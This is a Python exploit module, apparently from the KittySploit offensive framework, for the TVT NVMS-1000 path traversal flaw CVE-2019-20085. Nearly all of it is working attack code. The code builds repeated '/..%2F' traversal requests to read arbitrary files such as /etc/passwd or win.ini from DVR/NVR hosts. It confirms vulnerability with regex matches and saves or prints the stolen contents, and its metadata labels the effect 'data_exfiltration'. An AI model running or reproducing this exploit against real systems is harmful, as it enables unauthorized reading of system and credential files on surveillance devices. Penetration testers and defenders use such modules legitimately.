TVT NVMS-1000 Path Traversal (CVE-2019-20085)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TVT NVMS-1000 path traversal LFI (CVE-2019-20085)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TVT NVMS-1000 Path Traversal (CVE-2019-20085)',
        'description': (
            'Exploits CVE-2019-20085 in TVT NVMS-1000: GET /..%2F traversal reads '
            'arbitrary files from the DVR/NVR host.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-20085'],
        'platform': Platform.MULTI,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-20085'],
        'tags': ['tvt', 'nvms', 'dvr', 'nvr', 'camera', 'lfi', 'kev', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2019_20085_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote path (Linux) or win.ini (Windows)', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _traversal(self, remote: str) -> str:
        depth = '/..%2F' * 12
        remote = remote.lstrip('/').replace('/', '%2F')
        return f'{depth}{remote}'

    def execute(self, remote_path: str) -> str:
        path = self._traversal(remote_path)
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        for target in (str(self.file_path or '/etc/passwd'), 'windows/win.ini'):
            body = self.execute(target)
            if re.search(r'root:.*:0:0:', body or '') or re.search(r'\[(font|extension|file)s\]', body or '', re.I):
                return {'vulnerable': True, 'reason': 'TVT NVMS traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'TVT traversal failed', 'confidence': 'medium'}

    def run(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if not body:
            print_error('Empty response')
            return False
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Saved to {out}')
        else:
            print_success(body[:4000])
        return True